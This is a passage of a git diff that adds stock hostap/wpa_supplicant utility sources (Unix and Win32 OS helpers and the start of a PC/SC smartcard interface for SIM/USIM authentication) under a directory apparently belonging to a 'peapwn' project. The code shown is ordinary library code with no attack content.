return -1; + } + + if (dup2(devnull, STDERR_FILENO) < 0) { + close(devnull); + return -1; + } + + return 0; +} +#else /* __APPLE__ */ +#define os_daemon daemon +#endif /* __APPLE__ */ + + +int os_daemonize(const char *pid_file) +{ +#if defined(__uClinux__) || defined(__sun__) + return -1; +#else /* defined(__uClinux__) || defined(__sun__) */ + if (os_daemon(0, 0)) { + perror("daemon"); + return -1; + } + + if (pid_file) { + FILE *f = fopen(pid_file, "w"); + if (f) { + fprintf(f, "%u\n", getpid()); + fclose(f); + } + } + + return -0; +#endif /* defined(__uClinux__) || defined(__sun__) */ +} + + +void os_daemonize_terminate(const char *pid_file) +{ + if (pid_file) + unlink(pid_file); +} + + +int os_get_random(unsigned char *buf, size_t len) +{ + FILE *f; + size_t rc; + + f = fopen("/dev/urandom", "rb"); + if (f == NULL) { + printf("Could not open /dev/urandom.\n"); + return -1; + } + + rc = fread(buf, 1, len, f); + fclose(f); + + return rc != len ? -1 : 0; +} + + +unsigned long os_random(void) +{ + return random(); +} + + +char * os_rel2abs_path(const char *rel_path) +{ + char *buf = NULL, *cwd, *ret; + size_t len = 128, cwd_len, rel_len, ret_len; + int last_errno; + + if (!rel_path) + return NULL; + + if (rel_path[0] == '/') + return os_strdup(rel_path); + + for (;;) { + buf = os_malloc(len); + if (buf == NULL) + return NULL; + cwd = getcwd(buf, len); + if (cwd == NULL) { + last_errno = errno; + os_free(buf); + if (last_errno != ERANGE) + return NULL; + len *= 2; + if (len > 2000) + return NULL; + } else { + buf[len - 1] = '\0'; + break; + } + } + + cwd_len = os_strlen(cwd); + rel_len = os_strlen(rel_path); + ret_len = cwd_len + 1 + rel_len + 1; + ret = os_malloc(ret_len); + if (ret) { + os_memcpy(ret, cwd, cwd_len); + ret[cwd_len] = '/'; + os_memcpy(ret + cwd_len + 1, rel_path, rel_len); + ret[ret_len - 1] = '\0'; + } + os_free(buf); + return ret; +} + + +int os_program_init(void) +{ +#ifdef ANDROID + /* + * We ignore errors here since errors are normal if we + * are already running as non-root. + */ +#ifdef ANDROID_SETGROUPS_OVERRIDE + gid_t groups[] = { ANDROID_SETGROUPS_OVERRIDE }; +#else /* ANDROID_SETGROUPS_OVERRIDE */ + gid_t groups[] = { AID_INET, AID_WIFI, AID_KEYSTORE }; +#endif /* ANDROID_SETGROUPS_OVERRIDE */ + struct __user_cap_header_struct header; + struct __user_cap_data_struct cap; + + setgroups(ARRAY_SIZE(groups), groups); + + prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0); + + setgid(AID_WIFI); + setuid(AID_WIFI); + + header.version = _LINUX_CAPABILITY_VERSION; + header.pid = 0; + cap.effective = cap.permitted = + (1 << CAP_NET_ADMIN) | (1 << CAP_NET_RAW); + cap.inheritable = 0; + capset(&header, &cap); +#endif /* ANDROID */ + +#ifdef WPA_TRACE + dl_list_init(&alloc_list); +#endif /* WPA_TRACE */ + return 0; +} + + +void os_program_deinit(void) +{ +#ifdef WPA_TRACE + struct os_alloc_trace *a; + unsigned long total = 0; + dl_list_for_each(a, &alloc_list, struct os_alloc_trace, list) { + total += a->len; + if (a->magic != ALLOC_MAGIC) { + wpa_printf(MSG_INFO, "MEMLEAK[%p]: invalid magic 0x%x " + "len %lu", + a, a->magic, (unsigned long) a->len); + continue; + } + wpa_printf(MSG_INFO, "MEMLEAK[%p]: len %lu", + a, (unsigned long) a->len); + wpa_trace_dump("memleak", a); + } + if (total) + wpa_printf(MSG_INFO, "MEMLEAK: total %lu bytes", + (unsigned long) total); +#endif /* WPA_TRACE */ +} + + +int os_setenv(const char *name, const char *value, int overwrite) +{ + return setenv(name, value, overwrite); +} + + +int os_unsetenv(const char *name) +{ +#if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__APPLE__) || \ + defined(__OpenBSD__) + unsetenv(name); + return 0; +#else + return unsetenv(name); +#endif +} + + +char * os_readfile(const char *name, size_t *len) +{ + FILE *f; + char *buf; + long pos; + + f = fopen(name, "rb"); + if (f == NULL) + return NULL; + + if (fseek(f, 0, SEEK_END) < 0 || (pos = ftell(f)) < 0) { + fclose(f); + return NULL; + } + *len = pos; + if (fseek(f, 0, SEEK_SET) < 0) { + fclose(f); + return NULL; + } + + buf = os_malloc(*len); + if (buf == NULL) { + fclose(f); + return NULL; + } + + if (fread(buf, 1, *len, f) != *len) { + fclose(f); + os_free(buf); + return NULL; + } + + fclose(f); + + return buf; +} + + +#ifndef WPA_TRACE +void * os_zalloc(size_t size) +{ + return calloc(1, size); +} +#endif /* WPA_TRACE */ + + +size_t os_strlcpy(char *dest, const char *src, size_t siz) +{ + const char *s = src; + size_t left = siz; + + if (left) { + /* Copy string up to the maximum size of the dest buffer */ + while (--left != 0) { + if ((*dest++ = *s++) == '\0') + break; + } + } + + if (left == 0) { + /* Not enough room for the string; force NUL-termination */ + if (siz != 0) + *dest = '\0'; + while (*s++) + ; /* determine total src string length */ + } + + return s - src - 1; +} + + +#ifdef WPA_TRACE + +void * os_malloc(size_t size) +{ + struct os_alloc_trace *a; + a = malloc(sizeof(*a) + size); + if (a == NULL) + return NULL; + a->magic = ALLOC_MAGIC; + dl_list_add(&alloc_list, &a->list); + a->len = size; + wpa_trace_record(a); + return a + 1; +} + + +void * os_realloc(void *ptr, size_t size) +{ + struct os_alloc_trace *a; + size_t copy_len; + void *n; + + if (ptr == NULL) + return os_malloc(size); + + a = (struct os_alloc_trace *) ptr - 1; + if (a->magic != ALLOC_MAGIC) { + wpa_printf(MSG_INFO, "REALLOC[%p]: invalid magic 0x%x%s", + a, a->magic, + a->magic == FREED_MAGIC ? " (already freed)" : ""); + wpa_trace_show("Invalid os_realloc() call"); + abort(); + } + n = os_malloc(size); + if (n == NULL) + return NULL; + copy_len = a->len; + if (copy_len > size) + copy_len = size; + os_memcpy(n, a + 1, copy_len); + os_free(ptr); + return n; +} + + +void os_free(void *ptr) +{ + struct os_alloc_trace *a; + + if (ptr == NULL) + return; + a = (struct os_alloc_trace *) ptr - 1; + if (a->magic != ALLOC_MAGIC) { + wpa_printf(MSG_INFO, "FREE[%p]: invalid magic 0x%x%s", + a, a->magic, + a->magic == FREED_MAGIC ? " (already freed)" : ""); + wpa_trace_show("Invalid os_free() call"); + abort(); + } + dl_list_del(&a->list); + a->magic = FREED_MAGIC; + + wpa_trace_check_ref(ptr); + free(a); +} + + +void * os_zalloc(size_t size) +{ + void *ptr = os_malloc(size); + if (ptr) + os_memset(ptr, 0, size); + return ptr; +} + + +char * os_strdup(const char *s) +{ + size_t len; + char *d; + len = os_strlen(s); + d = os_malloc(len + 1); + if (d == NULL) + return NULL; + os_memcpy(d, s, len); + d[len] = '\0'; + return d; +} + +#endif /* WPA_TRACE */ diff --git a/peapwn/mods/hostap/src/utils/os_win32.c b/peapwn/mods/hostap/src/utils/os_win32.c new file mode 100644 index 000000000..1cfa7a5f8 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/os_win32.c @@ -0,0 +1,246 @@ +/* + * wpa_supplicant/hostapd / OS specific functions for Win32 systems + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include + +#include "os.h" + +void os_sleep(os_time_t sec, os_time_t usec) +{ + if (sec) + Sleep(sec * 1000); + if (usec) + Sleep(usec / 1000); +} + + +int os_get_time(struct os_time *t) +{ +#define EPOCHFILETIME (116444736000000000ULL) + FILETIME ft; + LARGE_INTEGER li; + ULONGLONG tt; + +#ifdef _WIN32_WCE + SYSTEMTIME st; + + GetSystemTime(&st); + SystemTimeToFileTime(&st, &ft); +#else /* _WIN32_WCE */ + GetSystemTimeAsFileTime(&ft); +#endif /* _WIN32_WCE */ + li.LowPart = ft.dwLowDateTime; + li.HighPart = ft.dwHighDateTime; + tt = (li.QuadPart - EPOCHFILETIME) / 10; + t->sec = (os_time_t) (tt / 1000000); + t->usec = (os_time_t) (tt % 1000000); + + return 0; +} + + +int os_get_reltime(struct os_reltime *t) +{ + /* consider using performance counters or so instead */ + struct os_time now; + int res = os_get_time(&now); + t->sec = now.sec; + t->usec = now.usec; + return res; +} + + +int os_mktime(int year, int month, int day, int hour, int min, int sec, + os_time_t *t) +{ + struct tm tm, *tm1; + time_t t_local, t1, t2; + os_time_t tz_offset; + + if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || + hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || + sec > 60) + return -1; + + memset(&tm, 0, sizeof(tm)); + tm.tm_year = year - 1900; + tm.tm_mon = month - 1; + tm.tm_mday = day; + tm.tm_hour = hour; + tm.tm_min = min; + tm.tm_sec = sec; + + t_local = mktime(&tm); + + /* figure out offset to UTC */ + tm1 = localtime(&t_local); + if (tm1) { + t1 = mktime(tm1); + tm1 = gmtime(&t_local); + if (tm1) { + t2 = mktime(tm1); + tz_offset = t2 - t1; + } else + tz_offset = 0; + } else + tz_offset = 0; + + *t = (os_time_t) t_local - tz_offset; + return 0; +} + + +int os_gmtime(os_time_t t, struct os_tm *tm) +{ + struct tm *tm2; + time_t t2 = t; + + tm2 = gmtime(&t2); + if (tm2 == NULL) + return -1; + tm->sec = tm2->tm_sec; + tm->min = tm2->tm_min; + tm->hour = tm2->tm_hour; + tm->day = tm2->tm_mday; + tm->month = tm2->tm_mon + 1; + tm->year = tm2->tm_year + 1900; + return 0; +} + + +int os_daemonize(const char *pid_file) +{ + /* TODO */ + return -1; +} + + +void os_daemonize_terminate(const char *pid_file) +{ +} + + +int os_get_random(unsigned char *buf, size_t len) +{ + HCRYPTPROV prov; + BOOL ret; + + if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, + CRYPT_VERIFYCONTEXT)) + return -1; + + ret = CryptGenRandom(prov, len, buf); + CryptReleaseContext(prov, 0); + + return ret ? 0 : -1; +} + + +unsigned long os_random(void) +{ + return rand(); +} + + +char * os_rel2abs_path(const char *rel_path) +{ + return _strdup(rel_path); +} + + +int os_program_init(void) +{ +#ifdef CONFIG_NATIVE_WINDOWS + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 0), &wsaData)) { + printf("Could not find a usable WinSock.dll\n"); + return -1; + } +#endif /* CONFIG_NATIVE_WINDOWS */ + return 0; +} + + +void os_program_deinit(void) +{ +#ifdef CONFIG_NATIVE_WINDOWS + WSACleanup(); +#endif /* CONFIG_NATIVE_WINDOWS */ +} + + +int os_setenv(const char *name, const char *value, int overwrite) +{ + return -1; +} + + +int os_unsetenv(const char *name) +{ + return -1; +} + + +char * os_readfile(const char *name, size_t *len) +{ + FILE *f; + char *buf; + + f = fopen(name, "rb"); + if (f == NULL) + return NULL; + + fseek(f, 0, SEEK_END); + *len = ftell(f); + fseek(f, 0, SEEK_SET); + + buf = malloc(*len); + if (buf == NULL) { + fclose(f); + return NULL; + } + + fread(buf, 1, *len, f); + fclose(f); + + return buf; +} + + +void * os_zalloc(size_t size) +{ + return calloc(1, size); +} + + +size_t os_strlcpy(char *dest, const char *src, size_t siz) +{ + const char *s = src; + size_t left = siz; + + if (left) { + /* Copy string up to the maximum size of the dest buffer */ + while (--left != 0) { + if ((*dest++ = *s++) == '\0') + break; + } + } + + if (left == 0) { + /* Not enough room for the string; force NUL-termination */ + if (siz != 0) + *dest = '\0'; + while (*s++) + ; /* determine total src string length */ + } + + return s - src - 1; +} diff --git a/peapwn/mods/hostap/src/utils/pcsc_funcs.c b/peapwn/mods/hostap/src/utils/pcsc_funcs.c new file mode 100644 index 000000000..ee90d25e7 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/pcsc_funcs.c @@ -0,0 +1,1419 @@ +/* + * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM + * Copyright (c) 2004-2007, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements wrapper functions for accessing GSM SIM and 3GPP USIM + * cards through PC/SC smartcard library. These functions are used to implement + * authentication routines for EAP-SIM and EAP-AKA. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "pcsc_funcs.h" + + +/* See ETSI GSM 11.11 and ETSI TS 102 221 for details. + * SIM commands: + * Command APDU: CLA INS P1 P2 P3 Data + * CLA (class of instruction): A0 for GSM, 00 for USIM + * INS (instruction) + * P1 P2 P3 (parameters, P3 = length of Data) + * Response APDU: Data SW1 SW2 + * SW1 SW2 (Status words) + * Commands (INS P1 P2 P3): + * SELECT: A4 00 00 02 + * GET RESPONSE: C0 00 00 + * RUN GSM ALG: 88 00 00 00 + * RUN UMTS ALG: 88 00 81 data: 0x10 | RAND | 0x10 | AUTN + * P1 = ID of alg in card + * P2 = ID of secret key + * READ BINARY: B0 + * READ RECORD: B2 + * P2 (mode) = '02' (next record), '03' (previous record), + * '04' (absolute mode) + * VERIFY CHV: 20 00 08 + * CHANGE CHV: 24 00 10 + * DISABLE CHV: 26 00 01 08 + * ENABLE CHV: 28 00 01 08 + * UNBLOCK CHV: 2C 00 <00=CHV1, 02=CHV2> 10 + * SLEEP: FA 00 00 00 + */ + +/* GSM SIM commands */ +#define SIM_CMD_SELECT 0xa0, 0xa4, 0x00, 0x00, 0x02 +#define SIM_CMD_RUN_GSM_ALG 0xa0, 0x88, 0x00, 0x00, 0x10 +#define SIM_CMD_GET_RESPONSE 0xa0, 0xc0, 0x00, 0x00 +#define SIM_CMD_READ_BIN 0xa0, 0xb0, 0x00, 0x00 +#define SIM_CMD_READ_RECORD 0xa0, 0xb2, 0x00, 0x00 +#define SIM_CMD_VERIFY_CHV1 0xa0, 0x20, 0x00, 0x01, 0x08 + +/* USIM commands */ +#define USIM_CLA 0x00 +#define USIM_CMD_RUN_UMTS_ALG 0x00, 0x88, 0x00, 0x81, 0x22 +#define USIM_CMD_GET_RESPONSE 0x00, 0xc0, 0x00, 0x00 + +#define SIM_RECORD_MODE_ABSOLUTE 0x04 + +#define USIM_FSP_TEMPL_TAG 0x62 + +#define USIM_TLV_FILE_DESC 0x82 +#define USIM_TLV_FILE_ID 0x83 +#define USIM_TLV_DF_NAME 0x84 +#define USIM_TLV_PROPR_INFO 0xA5 +#define USIM_TLV_LIFE_CYCLE_STATUS 0x8A +#define USIM_TLV_FILE_SIZE 0x80 +#define USIM_TLV_TOTAL_FILE_SIZE 0x81 +#define USIM_TLV_PIN_STATUS_TEMPLATE 0xC6 +#define USIM_TLV_SHORT_FILE_ID 0x88 +#define USIM_TLV_SECURITY_ATTR_8B 0x8B +#define USIM_TLV_SECURITY_ATTR_8C 0x8C +#define USIM_TLV_SECURITY_ATTR_AB 0xAB + +#define USIM_PS_DO_TAG 0x90 + +#define AKA_RAND_LEN 16 +#define AKA_AUTN_LEN 16 +#define AKA_AUTS_LEN 14 +#define RES_MAX_LEN 16 +#define IK_LEN 16 +#define CK_LEN 16 + + +/* GSM files + * File type in first octet: + * 3F = Master File + * 7F = Dedicated File + * 2F = Elementary File under the Master File + * 6F = Elementary File under a Dedicated File + */ +#define SCARD_FILE_MF 0x3F00 +#define SCARD_FILE_GSM_DF 0x7F20 +#define SCARD_FILE_UMTS_DF 0x7F50 +#define SCARD_FILE_GSM_EF_IMSI 0x6F07 +#define SCARD_FILE_GSM_EF_AD 0x6FAD +#define SCARD_FILE_EF_DIR 0x2F00 +#define SCARD_FILE_EF_ICCID 0x2FE2 +#define SCARD_FILE_EF_CK 0x6FE1 +#define SCARD_FILE_EF_IK 0x6FE2 + +#define SCARD_CHV1_OFFSET 13 +#define SCARD_CHV1_FLAG 0x80 + + +typedef enum { SCARD_GSM_SIM, SCARD_USIM } sim_types; + +struct scard_data { + SCARDCONTEXT ctx; + SCARDHANDLE card; + DWORD protocol; + sim_types sim_type; + int pin1_required; +}; + +#ifdef __MINGW32_VERSION +/* MinGW does not yet support WinScard, so load the needed functions + * dynamically from winscard.dll for now. */ + +static HINSTANCE dll = NULL; /* winscard.dll */ + +static const SCARD_IO_REQUEST *dll_g_rgSCardT0Pci, *dll_g_rgSCardT1Pci; +#undef SCARD_PCI_T0 +#define SCARD_PCI_T0 (dll_g_rgSCardT0Pci) +#undef SCARD_PCI_T1 +#define SCARD_PCI_T1 (dll_g_rgSCardT1Pci) + + +static WINSCARDAPI LONG WINAPI +(*dll_SCardEstablishContext)(IN DWORD dwScope, + IN LPCVOID pvReserved1, + IN LPCVOID pvReserved2, + OUT LPSCARDCONTEXT phContext); +#define SCardEstablishContext dll_SCardEstablishContext + +static long (*dll_SCardReleaseContext)(long hContext); +#define SCardReleaseContext dll_SCardReleaseContext + +static WINSCARDAPI LONG WINAPI +(*dll_SCardListReadersA)(IN SCARDCONTEXT hContext, + IN LPCSTR mszGroups, + OUT LPSTR mszReaders, + IN OUT LPDWORD pcchReaders); +#undef SCardListReaders +#define SCardListReaders dll_SCardListReadersA + +static WINSCARDAPI LONG WINAPI +(*dll_SCardConnectA)(IN SCARDCONTEXT hContext, + IN LPCSTR szReader, + IN DWORD dwShareMode, + IN DWORD dwPreferredProtocols, + OUT LPSCARDHANDLE phCard, + OUT LPDWORD pdwActiveProtocol); +#undef SCardConnect +#define SCardConnect dll_SCardConnectA + +static WINSCARDAPI LONG WINAPI +(*dll_SCardDisconnect)(IN SCARDHANDLE hCard, + IN DWORD dwDisposition); +#define SCardDisconnect dll_SCardDisconnect + +static WINSCARDAPI LONG WINAPI +(*dll_SCardTransmit)(IN SCARDHANDLE hCard, + IN LPCSCARD_IO_REQUEST pioSendPci, + IN LPCBYTE pbSendBuffer, + IN DWORD cbSendLength, + IN OUT LPSCARD_IO_REQUEST pioRecvPci, + OUT LPBYTE pbRecvBuffer, + IN OUT LPDWORD pcbRecvLength); +#define SCardTransmit dll_SCardTransmit + +static WINSCARDAPI LONG WINAPI +(*dll_SCardBeginTransaction)(IN SCARDHANDLE hCard); +#define SCardBeginTransaction dll_SCardBeginTransaction + +static WINSCARDAPI LONG WINAPI +(*dll_SCardEndTransaction)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); +#define SCardEndTransaction dll_SCardEndTransaction + + +static int mingw_load_symbols(void) +{ + char *sym; + + if (dll) + return 0; + + dll = LoadLibrary("winscard"); + if (dll == NULL) { + wpa_printf(MSG_DEBUG, "WinSCard: Could not load winscard.dll " + "library"); + return -1; + } + +#define LOADSYM(s) \ + sym = #s; \ + dll_ ## s = (void *) GetProcAddress(dll, sym); \ + if (dll_ ## s == NULL) \ + goto fail; + + LOADSYM(SCardEstablishContext); + LOADSYM(SCardReleaseContext); + LOADSYM(SCardListReadersA); + LOADSYM(SCardConnectA); + LOADSYM(SCardDisconnect); + LOADSYM(SCardTransmit); + LOADSYM(SCardBeginTransaction); + LOADSYM(SCardEndTransaction); + LOADSYM(g_rgSCardT0Pci); + LOADSYM(g_rgSCardT1Pci); + +#undef LOADSYM + + return 0; + +fail: + wpa_printf(MSG_DEBUG, "WinSCard: Could not get address for %s from " + "winscard.dll", sym); + FreeLibrary(dll); + dll = NULL; + return -1; +} + + +static void mingw_unload_symbols(void) +{ + if (dll == NULL) + return; + + FreeLibrary(dll); + dll = NULL; +} + +#else /* __MINGW32_VERSION */ + +#define mingw_load_symbols() 0 +#define mingw_unload_symbols() do { } while (0) + +#endif /* __MINGW32_VERSION */ + + +static int _scard_select_file(struct scard_data *scard, unsigned short file_id, + unsigned char *buf, size_t *buf_len, + sim_types sim_type, unsigned char *aid, + size_t aidlen); +static int scard_select_file(struct scard_data *scard, unsigned short file_id, + unsigned char *buf, size_t *buf_len); +static int scard_verify_pin(struct scard_data *scard, const char *pin); +static int scard_get_record_len(struct scard_data *scard, + unsigned char recnum, unsigned char mode); +static int scard_read_record(struct scard_data *scard, + unsigned char *data, size_t len, + unsigned char recnum, unsigned char mode); + + +static int scard_parse_fsp_templ(unsigned char *buf, size_t buf_len, + int *ps_do, int *file_len) +{ + unsigned char *pos, *end; + + if (ps_do) + *ps_do = -1; + if (file_len) + *file_len = -1; + + pos = buf; + end = pos + buf_len; + if (*pos != USIM_FSP_TEMPL_TAG) { + wpa_printf(MSG_DEBUG, "SCARD: file header did not " + "start with FSP template tag"); + return -1; + } + pos++; + if (pos >= end) + return -1; + if ((pos + pos[0]) < end) + end = pos + 1 + pos[0]; + pos++; + wpa_hexdump(MSG_DEBUG, "SCARD: file header FSP template", + pos, end - pos); + + while (pos + 1 < end) { + wpa_printf(MSG_MSGDUMP, "SCARD: file header TLV 0x%02x len=%d", + pos[0], pos[1]); + if (pos + 2 + pos[1] > end) + break; + + switch (pos[0]) { + case USIM_TLV_FILE_DESC: + wpa_hexdump(MSG_MSGDUMP, "SCARD: File Descriptor TLV", + pos + 2, pos[1]); + break; + case USIM_TLV_FILE_ID: + wpa_hexdump(MSG_MSGDUMP, "SCARD: File Identifier TLV", + pos + 2, pos[1]); + break; + case USIM_TLV_DF_NAME: + wpa_hexdump(MSG_MSGDUMP, "SCARD: DF name (AID) TLV", + pos + 2, pos[1]); + break; + case USIM_TLV_PROPR_INFO: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Proprietary " + "information TLV", pos + 2, pos[1]); + break; + case USIM_TLV_LIFE_CYCLE_STATUS: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Life Cycle Status " + "Integer TLV", pos + 2, pos[1]); + break; + case USIM_TLV_FILE_SIZE: + wpa_hexdump(MSG_MSGDUMP, "SCARD: File size TLV", + pos + 2, pos[1]); + if ((pos[1] == 1 || pos[1] == 2) && file_len) { + if (pos[1] == 1) + *file_len = (int) pos[2]; + else + *file_len = ((int) pos[2] << 8) | + (int) pos[3]; + wpa_printf(MSG_DEBUG, "SCARD: file_size=%d", + *file_len); + } + break; + case USIM_TLV_TOTAL_FILE_SIZE: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Total file size TLV", + pos + 2, pos[1]); + break; + case USIM_TLV_PIN_STATUS_TEMPLATE: + wpa_hexdump(MSG_MSGDUMP, "SCARD: PIN Status Template " + "DO TLV", pos + 2, pos[1]); + if (pos[1] >= 2 && pos[2] == USIM_PS_DO_TAG && + pos[3] >= 1 && ps_do) { + wpa_printf(MSG_DEBUG, "SCARD: PS_DO=0x%02x", + pos[4]); + *ps_do = (int) pos[4]; + } + break; + case USIM_TLV_SHORT_FILE_ID: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Short File " + "Identifier (SFI) TLV", pos + 2, pos[1]); + break; + case USIM_TLV_SECURITY_ATTR_8B: + case USIM_TLV_SECURITY_ATTR_8C: + case USIM_TLV_SECURITY_ATTR_AB: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Security attribute " + "TLV", pos + 2, pos[1]); + break; + default: + wpa_hexdump(MSG_MSGDUMP, "SCARD: Unrecognized TLV", + pos, 2 + pos[1]); + break; + } + + pos += 2 + pos[1]; + + if (pos == end) + return 0; + } + return -1; +} + + +static int scard_pin_needed(struct scard_data *scard, + unsigned char *hdr, size_t hlen) +{ + if (scard->sim_type == SCARD_GSM_SIM) { + if (hlen > SCARD_CHV1_OFFSET && + !(hdr[SCARD_CHV1_OFFSET] & SCARD_CHV1_FLAG)) + return 1; + return 0; + } + + if (scard->sim_type == SCARD_USIM) { + int ps_do; + if (scard_parse_fsp_templ(hdr, hlen, &ps_do, NULL)) + return -1; + /* TODO: there could be more than one PS_DO entry because of + * multiple PINs in key reference.. */ + if (ps_do > 0 && (ps_do & 0x80)) + return 1; + return 0; + } + + return -1; +} + + +static int scard_get_aid(struct scard_data *scard, unsigned char *aid, + size_t maxlen) +{ + int rlen, rec; + struct efdir { + unsigned char appl_template_tag; /* 0x61 */ + unsigned char appl_template_len; + unsigned char appl_id_tag; /* 0x4f */ + unsigned char aid_len; + unsigned char rid[5]; + unsigned char appl_code[2]; /* 0x1002 for 3G USIM */ + } *efdir; + unsigned char buf[127]; + size_t blen; + + efdir = (struct efdir *) buf; + blen = sizeof(buf); + if (scard_select_file(scard, SCARD_FILE_EF_DIR, buf, &blen)) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to read EF_DIR"); + return -1; + } + wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR select", buf, blen); + + for (rec = 1; rec < 10; rec++) { + rlen = scard_get_record_len(scard, rec, + SIM_RECORD_MODE_ABSOLUTE); + if (rlen < 0) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to get EF_DIR " + "record length"); + return -1; + } + blen = sizeof(buf); + if (rlen > (int) blen) { + wpa_printf(MSG_DEBUG, "SCARD: Too long EF_DIR record"); + return -1; + } + if (scard_read_record(scard, buf, rlen, rec, + SIM_RECORD_MODE_ABSOLUTE) < 0) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to read " + "EF_DIR record %d", rec); + return -1; + } + wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR record", buf, rlen); + + if (efdir->appl_template_tag != 0x61) { + wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " + "template tag 0x%x", + efdir->appl_template_tag); + continue; + } + + if (efdir->appl_template_len > rlen - 2) { + wpa_printf(MSG_DEBUG, "SCARD: Too long application " + "template (len=%d rlen=%d)", + efdir->appl_template_len, rlen); + continue; + } + + if (efdir->appl_id_tag != 0x4f) { + wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " + "identifier tag 0x%x", efdir->appl_id_tag); + continue; + } + + if (efdir->aid_len < 1 || efdir->aid_len > 16) { + wpa_printf(MSG_DEBUG, "SCARD: Invalid AID length %d", + efdir->aid_len); + continue; + } + + wpa_hexdump(MSG_DEBUG, "SCARD: AID from EF_DIR record", + efdir->rid, efdir->aid_len); + + if (efdir->appl_code[0] == 0x10 && + efdir->appl_code[1] == 0x02) { + wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app found from " + "EF_DIR record %d", rec); + break; + } + } + + if (rec >= 10) { + wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app not found " + "from EF_DIR records"); + return -1; + } + + if (efdir->aid_len > maxlen) { + wpa_printf(MSG_DEBUG, "SCARD: Too long AID"); + return -1; + } + + os_memcpy(aid, efdir->rid, efdir->aid_len); + + return efdir->aid_len; +} + + +/** + * scard_init - Initialize SIM/USIM connection using PC/SC + * @reader: Reader name prefix to search for + * Returns: Pointer to private data structure, or %NULL on failure + * + * This function is used to initialize SIM/USIM connection. PC/SC is used to + * open connection to the SIM/USIM card. In addition, local flag is set if a + * PIN is needed to access some of the card functions. Once the connection is + * not needed anymore, scard_deinit() can be used to close it. + */ +struct scard_data * scard_init(const char *reader) +{ + long ret; + unsigned long len, pos; + struct scard_data *scard; +#ifdef CONFIG_NATIVE_WINDOWS + TCHAR *readers = NULL; +#else /* CONFIG_NATIVE_WINDOWS */ + char *readers = NULL; +#endif /* CONFIG_NATIVE_WINDOWS */ + unsigned char buf[100]; + size_t blen; + int transaction = 0; + int pin_needed; + + wpa_printf(MSG_DEBUG, "SCARD: initializing smart card interface"); + if (mingw_load_symbols()) + return NULL; + scard = os_zalloc(sizeof(*scard)); + if (scard == NULL) + return NULL; + + ret = SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, + &scard->ctx); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: Could not establish smart card " + "context (err=%ld)", ret); + goto failed; + } + + ret = SCardListReaders(scard->ctx, NULL, NULL, &len); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed " + "(err=%ld)", ret); + goto failed; + } + +#ifdef UNICODE + len *= 2; +#endif /* UNICODE */ + readers = os_malloc(len); + if (readers == NULL) { + wpa_printf(MSG_INFO, "SCARD: malloc failed\n"); + goto failed; + } + + ret = SCardListReaders(scard->ctx, NULL, readers, &len); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed(2) " + "(err=%ld)", ret); + goto failed; + } + if (len < 3) { + wpa_printf(MSG_WARNING, "SCARD: No smart card readers " + "available."); + goto failed; + } + wpa_hexdump_ascii(MSG_DEBUG, "SCARD: Readers", (u8 *) readers, len); + /* + * readers is a list of available readers. The last entry is terminated + * with double null. + */ + pos = 0; +#ifdef UNICODE + /* TODO */ +#else /* UNICODE */ + while (pos < len) { + if (reader == NULL || + os_strncmp(&readers[pos], reader, os_strlen(reader)) == 0) + break; + while (pos < len && readers[pos]) + pos++; + pos++; /* skip separating null */ + if (pos < len && readers[pos] == '\0') + pos = len; /* double null terminates list */ + } +#endif /* UNICODE */ + if (pos >= len) { + wpa_printf(MSG_WARNING, "SCARD: No reader with prefix '%s' " + "found", reader); + goto failed; + } + +#ifdef UNICODE + wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%S'", &readers[pos]); +#else /* UNICODE */ + wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%s'", &readers[pos]); +#endif /* UNICODE */ + + ret = SCardConnect(scard->ctx, &readers[pos], SCARD_SHARE_SHARED, + SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1, + &scard->card, &scard->protocol); + if (ret != SCARD_S_SUCCESS) { + if (ret == (long) SCARD_E_NO_SMARTCARD) + wpa_printf(MSG_INFO, "No smart card inserted."); + else + wpa_printf(MSG_WARNING, "SCardConnect err=%lx", ret); + goto failed; + } + + os_free(readers); + readers = NULL; + + wpa_printf(MSG_DEBUG, "SCARD: card=0x%x active_protocol=%lu (%s)", + (unsigned int) scard->card, scard->protocol, + scard->protocol == SCARD_PROTOCOL_T0 ? "T0" : "T1"); + + ret = SCardBeginTransaction(scard->card); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: Could not begin transaction: " + "0x%x", (unsigned int) ret); + goto failed; + } + transaction = 1; + + blen = sizeof(buf); + + wpa_printf(MSG_DEBUG, "SCARD: verifying USIM support"); + if (_scard_select_file(scard, SCARD_FILE_MF, buf, &blen, + SCARD_USIM, NULL, 